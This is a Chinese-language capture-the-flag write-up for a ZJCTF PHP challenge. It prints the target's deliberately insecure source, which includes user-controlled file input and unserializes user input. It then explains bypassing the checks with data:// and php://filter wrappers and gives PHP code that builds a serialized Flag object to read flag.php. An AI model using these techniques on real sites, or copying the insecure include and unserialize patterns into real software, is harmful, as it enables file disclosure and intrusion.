拿到是一段php代码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
file_get_contents() 把整个文件读入一个字符串中。并且必须等于welcome to the zjctf,如果满足就会以一级标题的形式输入数据
内层if语句是一个正则表达式,如果file变量中有flag字符就直接退出程序,反之就包含file变量,继续将password进行反序化,输出。
根据提示信息,可知需要三个参数:text,file,password,且 text 的文本内容也已经限定,那么桌面建立一个文本文档,内容为:welcome to the zjctf,尝试用PHP伪协议 file 协议读取,发现没有反应
那还有一个GET写入方法,data://协议
触发正确回显说明方法正确
接着构造file,因为内层if语句对file进行了正则匹配,不能存在flag
这时要注意一下包含语句右侧注释了一个usless.php
访问后是空白页面,想到了读取源码的filter://协议
成功获取源码,最后就就是进行base64解密,得到一串PHP代码
看到注释的flag.php,继续访问,在网页源码中得到提示:现在还不能给我flag,说明方向是对的,已经走到最后一步了
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
源码中定义了一个名叫flag的类,类中包含一个PHP魔术方法
__tostring方法的含义是:当一个对象被当做字符串调用的时候,就会自动执行
刚好在我们上面的源码中$password变量在被序列化后会执行echo,也就是被当做字符串调用
所以我们可以先利用file传参包含useless.php文件,再利用pssword变量对Flag类进行整个序列化的操作,最终达到输出flag的目的
<?php
class Flag{ //flag.php
public $file = 'flag.php';
}
$a = serialize(new Flag);
echo urlencode($a)
?>
构造序列化,将Flag类中的file赋值为flag.php
这样当file_get_contents读取的时候就会直接读取flag.php
将序列化并且url编码后的数据赋给password,最后查看页面回显了Flag类中的数据,得知执行成功,最后查看网页源码获取flag